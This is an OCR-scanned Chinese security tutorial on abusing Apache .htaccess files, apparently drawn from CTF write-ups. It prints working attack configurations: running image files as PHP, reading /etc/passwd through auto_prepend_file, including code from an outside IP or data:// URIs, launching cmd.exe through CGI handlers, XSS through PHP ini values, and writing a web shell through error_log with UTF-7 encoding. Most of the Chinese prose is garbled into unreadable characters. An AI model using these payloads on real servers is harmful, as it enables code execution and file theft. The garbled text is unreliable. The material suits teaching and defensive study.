Apache BY. htaccess FIFE#:15

FERIALX, SERZ ALK

0x1.1 BEFXHELS

htaccess  MAHRH T BERMTRENGE, BIE—MFENNEERFIHE—Ea—
FEEFIESHUY, LMERTHEREREMBTFER. (AR, FreefERrirS=EIR
. SIERPTLUEIE aApache HY Allowoverride FESKIRE.

htaccess ¢ BUTIERF, BT \ #HE L THT.

0x1.2 fEBSE

taccess MHFPHEEIESIERAT  ntaccess XHFIERIERNERMEFER, BRREE
1. SEIENRE, HERERBAESE .ntaccess X, MBS BIRERIAFHORER
B, FLA—MSFEBERTRY .ntaccess MHPRUSSHRESBEE ERBRPH  .htaccess X
HPrgiES, IFERTPIESCSBEREREETREHTRIES.

0x1.3 BcE 4

JB8 .nhtaccess , BEAEIRSZIATEEHIE allowoverride BN a1l , U




apache2.conf
Allowoverride All #/5). htaccess X FHT &/

WATLUE  .htaccess {EXNEAHER

AccessFileName .config #¥.htaccessfZUN.config

.htaccess  BJLASCEAMITR 301 ExEM. BHENX 404 {EiRTNHE. XEXMET EA. A / BIERE
ENAFSEBERNEE. ZIEERFIR. BEEUANEEINRE. NFE 7 HFAIERIEXREX
B http://www.htaccess-guide.com/ (http://www.htaccess-guide.com/) , XEBif~—
NE, TEHEHEFBRIES.

0x2.1SetHandler

SetHandler E.[Ll?ﬁ%ﬂ FE ﬁ IEEE EI‘J SZ'#F%&_/I\*E‘IFE E,‘Jﬂ\f@%ﬂ\fi
Fai%:

SetHandler handler-name|None

5 1:

SetHandler application/x-httpd-php

IR HRIBREEFER TREXMERSWEM oo BT

M 2:


http://www.htaccess-guide.com/

SetHandler server-status

apache BIRSZ=RNKER BUAXE), ATLAEERAIHEARMEANCE

& C O fZ£| 192.168.111.128/server?refresh=4
1 requests currently being processed, 6 1dle workers

Scoreboard Key:
"_" Waiting for Connection, "s" Starting up, "R" Reading Request,
"r" Sending Reply, "t" Keepalive (read), "p" DNS Lookup,

"¢" Closing connection, "L" Logging, "¢" Gracefully finishing,
"1" Idle cleanup of worker, "." Open slot with no current process

Srv PID Acc M CPU SS Req Dur Conn Child Slot Client Protocol VHost Request

0-0 11703 0/4/4 _ 0001580 12 0.0 0.03 0.03192.168.111.1 http/1.1 127.0.1.1:80 GET /123sdddd HTTP/1.1
1-011704 0/3/3 _ 0009 0 11 00 0.02 0.02192.168.111.1 http/1.1

2-0117050/80/80 _ 0041740 77 0.0 0.17 0.17192.168.111.1 http/1.1 127.0.1.1:80 GET /123456 HTTP/1.1
3-011706 0/3/3 _ 00038 0 2 00 0.00 0.00192.168.111.1 http/1.1

4-011707 9/15/15 W0.010 0 13 188 0.03 0.03192.168.111.1 http/1.1 127.0.1.1:80 GET /server?refresh=4 HTTP/1.1
5-011708 0/10/10 _ 0.01 1650 23 0.0 0.04 0.04192.168.111.1 http/1.1 127.0.1.1:80 GET /123456 HTTP/1.1
6-011948 0/101/101 _ 00427 0 82 0.0 021 021192.168.111.1 http/1.1 127.0.1.1:80 GET /server?refresh=1 HTTP/1.1

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005533-1c6bd5b6-114-
1.png)
IHIEESAFERIS G, II2EL refresn-s RSLINER 5s BEImIFET

0x2.2 AddHandler

addrandler AJLMES{HT R S ERIAL RS 2 A ARET
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i

AddHandler handler-name extension [extension] ...

Hugn:

AddHandler cgi-script .xxx

BIREN o MITEHER o HIASRAE
0x2.3AddType

addType  HJLUSLATERINXHY BRI RIS e EE
FBi%:

AddType media-type extension [extension] ...

51

AddType application/x-httpd-php .gif

LA eif FRERATSIAZM pop fEMT

AddType application/x-httpd-php png jpg gif

BLA  .ong .ipg .gif BNEEREM phe BRI

0x2.4php value

MAEAA e AR .o FEHhot HRTNA D .o oo. 0A@mAZ=ETIA (fRIAN

bisea ——-c Y N



=I5 PP /Y ApaLne  RERHY, USHJRAMD  Apdcne QUHULELCTT \IZYUXH  nllpu.cont ) TH

.htaccess SZ{CFEPES?E%\;E{@EQ php H’\Jﬁaﬁlﬁfﬁo .—TT% ﬁ AllowOverride Options
EE AllowOverride All 7“25&2'-5_“«\)\0

php_value IREFEERNE. EBMRTENZEINE, B value 1A none . ANEFH php_value
REMRIE. NMIZFE php_flag .

FBi%:

php_value name value

B8E IREUTHIRE EE
(https://www.php.net/manual/zh/configuration.changes.modes.php)

B E I HIREEE

PGS RTEE 1 PHP BHESTEEE M, ESAEEHEIEE. FHTPNE MESEEHEMENEN. FRIFLESTILIE PHP BIAAE
ini_set() ;El\.ﬁfﬁ, B L R EEE php. ini 8% httpd. conf .

{40 output_buffering #5422 BT prp_IN_PERDIR, ETISLAEEA ini_set() 3aigsE, {BE display_errors {24-2BT prr_vi_aL RTFRETLAEF
{AHTAHRE, S5F ini_set(),

PHP_INI_* {#Es09ENX

ezt X

PHP_INI_USER DIFERBFRIAS (5140 ini_set()) 5% Windows jEAfiFz (B PHPS53i#2) LUK .user.ini higtE
PHP_INI_PERDIR TJ{E php.ini, gsz httpd.conf RiZTE

PHP_INI_SYSTEM TITE php.ini 5% httpd.conf FhigE

PHP_INI_ALL BRI 51 e

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005616-35da5e78-f1f4-

1.png)
B EBI%0  .htaccess HRBEFATF pHp INI ALL BY pHP_INI_PERDIR ZFEEUAYIES,


https://www.php.net/manual/zh/configuration.changes.modes.php
https://xzfile.aliyuncs.com/media/upload/picture/20200909005616-35da5e78-f1f4-1.png
https://www.php.net/manual/zh/ini.list.php

BE php.ini Bc&EIngIZR (https://www.php.net/manual/zh/ini.list.php) , S OIFIRIES

/‘\ [===1Y
(1) XA ETESER
auto_append_file NULL PHP_INI_PERDIR
auto_detect_line_endings "o PHP_INI_ALL
auto_globals_jit "1" PHP_INI_PERDIR
auto_prepend_file NULL PHP_INI_PERDIR

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005629-3d6761fe-f1f4-
1.png)

e auto_prepend file: EEHETZBIEZNETE 2RI
e auto_append file: EEHAETIE BTSSRI

fHuan:

php_value auto_prepend_file images.png

BE— php SRS, EZAHENTZRISSCEEIMET images.png 34

(2) &&1d preg_match

PCREEC & 15
a2F BAIA REAEE B|HEE
pcre.backtrack limit "100000" PHP_INI_ALL php 5.2.0 #2851 A,
pcre.recursion_limit "100000" PHP_INI_ALL php 5.2.0 &1,
pcre.jit "" PHP_INI_ALL PHP 7.0.0 &0J &

£ PHPUIN_* BRHES¥EEEY, N ESTHisstE.
T ERIEIEAEEIaAR


https://www.php.net/manual/zh/ini.list.php
https://xzfile.aliyuncs.com/media/upload/picture/20200909005629-3d6761fe-f1f4-1.png
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PN I T T SVIVIRORTY

pcre.backtrack_limit integer
PCRERIEHRRH!.

pcre.recursion_limit integer
PCRERIEIFIRS!. i&FRE, I1F HXMEREA—MEARNEET, (Filsi=EEE frerAEn ik, 82558 phpeiR(EEIAZIRRRS)
AR AN,

pcre.jit boolean
S 7= PCRE RY IT Fai%.

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005642-4593e226-11f4-
1.png)
fgn:

php_value pcre.backtrack_limit o
php_value pcre.jit ©

IREEN EIIEREEEIEN PLECRIZESRIRE S false TIAZ 0, M LASRIIIEN,

0x2.5php flag

php_flag FASKIRTEM/RER e EEES
Ri%:

php_flag name on|off

&FZE php.ini EEEIZIFIFER (https://www.php.net/manual/zh/inilist.php) , S#aIFIFEES

Apache BLEi#I5H

—— mnse ———ra e ————
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B"F FWA BHECRE BiH&

engine " PHP_INI_ALL B PHP 4.0.5 #20]
child_terminate "Q" PHP_INI_ALL B PHP 4.0.5 #20]
last_modified "o" PHP_INI_ALL B PHP 4.,0.5 #20]
xbithack "o" PHP_INI_ALL B PHP 4.0.5 #20] FH

B PHP_IN_* HERHNESFIESEN, I BEHETELE.
XEREESHEEIRA.

engine boolean
FIFFaXA] PHP #E#T. ANESXIEEER PHP [ Apache ERIRAIABA, olLAETHFRAEEHIARIIFaE XA PHP, 5 engine
of f fE httpd cont M{GRIEMANIEF ol LARGREEER PHP,

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005659-4f6099ac-f1f4-
1.png)
AL engine REAN 0, ERBRIFERTPXRHE php  FEHT, EARIDIMHEE

php_flag engine ©

0x3.1 JXH-REH

LBEHIEE EENEZRIGEIRST]  .ntaceess J58R, BT L&  .htaccess X4, B LEE
A, FERB prp EERBELEETT

.htaccess I{#WEEQD—FW*EP

1. setHandler E'/é\

# J#images.png 5 PHP #. 1T
<FilesMatch "images.png">

SetHandler application/x-httpd-php
</FilesMatch>


https://xzfile.aliyuncs.com/media/upload/picture/20200909005659-4f6099ac-f1f4-1.png
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$ 1s & C O F&=2| 192.168.111.128/images.png

index.php [PEGYGAGUVGQQFUYEQW QUYL QLG 1 Q0QQQULEY QYL " UQQTTe
: 0gon 199°Or5 THTENDOB &
: $ cat .htacce
<FilesMatch "images.png"> PHP Version 7.4.5
SetHandler application/x-httpd-php
</FilesMatch>
Y $ I System Linux kali 5.7.0-kali1
= Build Date Jun 3 2020 20:55:00
Server API Apache 2.0 Handler

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005717-5a10d3b2-f14-

1.png)
2. AddType

# #F .Jpg G PHP X THAFHT
AddType application/x-httpd-php .png

0x3.2 XIS
0x3.2.1 FiZ{HEE

\Eﬁ php_value ;Eiﬁ% auto_prepend_file EJZ% auto_append_file Eﬂﬁﬁlﬁ@é}—%’&&@jﬁa
FERNEREREFERTPREATETRT php KRR,

.htaccess DBNBITXFANLEILITEE S /etc/passwd , FHHAIRERTH  index.php 4.
auto_prepend_file

php_value auto_prepend_file /etc/passwd


https://xzfile.aliyuncs.com/media/upload/picture/20200909005717-5a10d3b2-f1f4-1.png

yels@kali: fvarfwwwihtml

File Actions Edit View Help

: $ 1s
index.php

: $ cat .htaccess
php_value auto_prepend_file /etc/passwd

< C [ @ FZ=£| 192.168.111.128/index.php

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:¢
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x
data:/var/www:/usr/sbhin/nologin backup:x:34:34:backup:/
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lil
systemd-timesync:x:101:1071:systemd Time Synchronizatio
systemd-resolve:x:103:104:systemd Resolver,,,;/run/systerr
strongswan:x:106:65534::/var/lib/strongswan:/usr/sbin/no
redsocks:x:109:114:/var/run/redsocks:/usr/shin/nologin n
miredo:x:112:65534:;/var/run/miredo:/usr/sbin/nologin dr
tepdumpix:115:119:/nonexistent:/usr/shin/nologin rtkit:x:
snmp:x:118:123::/var/lib/snmp:/bin/false statd:x:119:6553¢
stunneld:x:121:127:/var/run/stunneld:fusr/shin/nologin ss
daemon,,,;/run/avahi-daemon:/usr/sbin/nologin nm-open
OpenConnect plugin,,,./var/lib/NetworkManager:/usr/shir
inetsim:x:129:137::/var/lib/inetsim:/usr/sbin/nologin colon
lightdm:x:132:140:Light Display Manager:/var/lib/lightdm:
coredump:x:999:999:systemd Core Dumper:/:/usr/sbhin/no
hello

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005736-65847d0c-f1f4-

1.png)
auto_append_file

php_value auto_append_file /etc/passwd
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< (&7 W A2 | 1Y4.108.1 1 1. 128/Index.pnp

index. p h p helloroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:da
games:x:5:60:games:/usr/games:/usr/shin/nologin r
c $ cat .htaccess news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
php_value auto_append_file /etc /pa (Vo data:/var/www:/usr/shin/nologin backup:x:34:34:ba
FT g oy an: gnats:x:41:41:Gnats Bug-Reporting System (admin):
systemd-timesync:x:101:101:systemd Time Synchroi
systemd-resolve:x:103:104:systemd Resolver,,,:/run/
strongswan:x:106:65534:/var/lib/strongswan:/usr/sl
redsocks:x:109:114:/var/run/redsocks:/usr/shin/nol
miredo:x:112:65534::/var/run/miredo:/usr/sbin/nolc
tepdump:ix:115:119::/nonexistent:/usr/sbin/nologin
snmp:x:118:123x/var/lib/snmp:/bin/false statd:x:119

AT [ P Tie & I I T PP APENY ST SN [ B ey N R e P

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005750-6dbee502-f1f4-
1.png)

0x3.2.2 imfEXHEE

PHP B a1l url_include ECEIEIUXMEMEARXANY, MRABIIEMAILITESS.
?3 all url_include E’\JEEE;@% PHP_INI_SYSTEM ,ﬁﬁL‘,l%i%ﬂﬁﬁ php_flag E .htaccess EF'
J:FEO

i LT ettt - B LI PRSP

allow_url_fopen " PHP_INI_SYSTEM
allow_url_include "0" PHP_INI_SYSTEM M PHP 52.0 #28]FH, PHP 7.4.0 THHE#EE

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005812-7b2cedab-f1f4-

1.png)
J\XE%T;ETJ_T, ?}EZ:I—: php.ini EF"I.QE all url_include yﬂ On

php_value auto_append_file http://16.87.9.156/phpinfo. txt
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$ 1s
index.php
$ cat .htaccess

php_value auto_append_file http://10.87.9.156/phpinfo.txt

@ 10.87.9.156/phpinfo.txt X  + @ PHP 7.4.5 - phpinfo() X  +
< C © TFz&| 10.87.9.156/phpinfo.txt < C © &£ 192.168.111.128

<Iphp phpinfol(); 2> hello

PHP Version 7.4.5

‘ System Linux kali 5.7.0-kali1-amdé

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005833-87a26458-1f4-
1.png)

0x3.3 i[RIttt 58

R php_flag G engine IREAN 0, EARBRAFERFPXA php R, EREIDIMEE

php_flag engine ©

WXEFESTNINEEERoISRIEE HEMNIISEERoISR =TSR IAEETEEEL  AolEZt
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A == b "WUNINI U HH "7 J 17 D LD ) NINHD T IIFSNIJINIZUHH 7J 17 J & /0 Sede b1 | AT =="E NI NH I | A S B — B e

ERYIRD

$ 1s
index.php phpinfo.txt

; $ cat .htaccess
php_flag engine 0

http://192.168.111.128/index.pl X +

@ 192.168.111.128 b

-+

C o # view-source:http://192.168.111.128/index.php

< C O A== 192168.111.128

{Iphp echo "hello”; 7>
<?php echo "hello"; ?>

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005851-91f9c572-f1f4-
1.png)

0x3.4 fLE31T

1. RN

all_url_fopen . all_url_include ?EJ On

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwalW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B


https://xzfile.aliyuncs.com/media/upload/picture/20200909005851-91f9c572-f1f4-1.png

$ cat .htaccess

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mb

ygpow=
@ PHP 7.4.5 - phpinfo() x o+
< C O FZ2 ] 192168.111.128
hello
PHP Version 7.4.5
cls
| System Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005907-9bcc2b9e-f1f4-
1.png)

2. ﬁﬁ:*ﬁ' .htaccess
FiE—:

php_value auto_append_file .htaccess

#<?php phpinfo();
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$ cat .htaccess

php_value auto_append_file .htaccess
#t<?php phpinfo();

@ PHP 7.4.5 - phpinfo() X  +
< C O 4= 192168.111.128

hellophp value auto_append file .htaccess #

PHP Version 7.4.5

‘ System ‘ Linux kali 5.7.0-kali1-amd64 #

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005923-a54f0dbc-f14-
1.png)

i

XMESRBERHFFERIKE me X4

FESREAVENE hroccess X

<Files ~ "~.ht">


https://xzfile.aliyuncs.com/media/upload/picture/20200909005923-a54f0dbc-f1f4-1.png

Require all granted
Order allow,deny
Allow from all

</Files>

B .htaccess IRTESM php SIHALE

SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

$ cat .htaccess

<Files ~ "".ht">
Require all granted
Order allow,deny

Allow from all
</Files>
SetHandler application/x-httpd-php
#t <?php phpinfo(); ?>
: $

@ PHP 7.4.5 - phpinfo() x +

&« C @ FZ=%| 192.168.111.128/ htaccess

Require all granted Order allow,deny Allow from all SetHandler application/x-httpd-php #

PHP Version 7.4.5

(https://xzfile.aliyuncs.com/media/upload/picture/20200909005943-b168631e-f1f4-
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0x3.5 S SH1T

0x3.5.1CGl [3zf]

cgi_module & I”]%Z, Bl apache EE%S'Z#FEF'ﬁ

LoadModule cgi_module modules/mod_cgi.so

.htaccess IS

Options ExecCGI #1724 CGIH 1T
AddHandler cgi-script .xx #Exx/THEHIXNF, 2HIHCGI B /FHATREDT

ce.xXx

#1C:/Windows/System32/cmd.exe /R start calc.exe
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<« C @ © [ localhost/ce.xx

e = (] ped
D:\envi\phpstudy pro\WWW>

ll
it
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HEX
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(FILLPS.// XLTNE.dIYUTnCs.COIT/Imedld/ upioduy piciure/ cucvuyvav 1VUVUO-DE TDDI 101 1 14+

1.png)
BIRATE De1CTF2020 check in (https://github.com/De1ta-
team/De1CTF2020/tree/master/writeup/web/check%20in)

0x3.5.2FastCGl [35j]

mod_fcgid.so ?ﬁgﬁﬁbﬂ:&bﬁo Bl apache EEEXUEFEF'E

LoadModule fcgid_module modules/mod_fcgid.so

.htaccess

Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx

cexx ABEE
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© [ localhost/ce.xx

itE= e E
S =
= EF&R
HEX 0
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ocT . 0
BIN 0
CE QWORD MS
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< > C
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+fa’__ O =

(https://xzfile.aliyuncs.com/media/upload/picture/20200909010022-c87ef536-f14-
1.png)

0x3.6XSS

0x3.6.1 highlight file

.htaccess

php_value highlight.comment '"><script>alert(1);</script>’

HAhRY highlight.comment tATLAMERLAN T ELAHIZEIN

highlight.bg "HFFFFFF" PHP_INI_ALL TE PHP 5.4.0 F5k&Z%ln,
highlight.comment "#FF8000" PHP_INI_ALL
highlight.default "#0000BB" PHP_INI_ALL
highlight.html "#000000" PHP_INI_ALL
highlight.keyword "#007700" PHP_INI_ALL

highlight.string "#DD0O000" PHP_INI_ALL
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1.png)
index.php

<?php

highlight_ file(__FILE__);

// comment

© & 192.168.111.128

(https://xzfile.aliyuncs.com/media/upload/picture/20200909010053-daf6b2d0-f1f4-
1.pnQ)
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0x3.6.2 fHixiHS %

index.php :

<?php
include('foo');#foo R #E

.htaccess

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

ﬂf(—'\ue X @ © £ 192.168.111.128

(https://xzfile.aliyuncs.com/media/upload/picture/20200909010109-e4856468-11f4-
1.png)
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VAJD.I EQAANATHIKRANTT
error.php
<?php include('shell');##R {7

.htaccess

php_value error_log /tmp/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"

i5518) error.php, SRSEFHCRHAE shell.php 34

: $ cat shell.php
[08-Sep-2020 08:17:02 America/New_York] PHP Warning: include(info): failed to op
en stream: No such file or directory in /var/ww/html/error.php on line 1

[08-Sep-2020 08:17:02 America/New_Yorkl PHP Warning: include(): Failed opening
info' for inclusion (include_path={&1t;?php phpinfo(); _ halt_compiler();"') in /v
ar/ww/html/error.php on line 1

(https://xzfile.aliyuncs.com/media/upload/picture/20200909010123-ed10a03e-f1f4-

1.png)
EASES html 753, FTLAFE UTF-7 5.

.htaccess

# FHK

php_value error_log /tmp/shell #& X #HiRIE7F

#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:

php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"


https://xzfile.aliyuncs.com/media/upload/picture/20200909010123-ed10a03e-f1f4-1.png

# H AL
php_value include_path "/tmp" #J&include() #9EL N BEE 0
php_flag zend.multibyte 1

php_value zend.script_encoding "UTF-7"

BIRRATE X-NUCA-ezphp (https://www.cnblogs.com/tr1ple/p/11439994.html)

https://www.anquanke.com/post/id/205098
(https://www.anquanke.com/post/id/205098)
https://www.cnblogs.com/Wanghaoran-s1mple/p/13152075.html
(https://www.cnblogs.com/Wanghaoran-sTmple/p/13152075.html)
http://httpd.apache.org/docs/2.4/ (http://httpd.apache.org/docs/2.4/)
https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet
(https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet)
https://www.freebuf.com/vuls/218495.html
(https://www.freebuf.com/vuls/218495.html)
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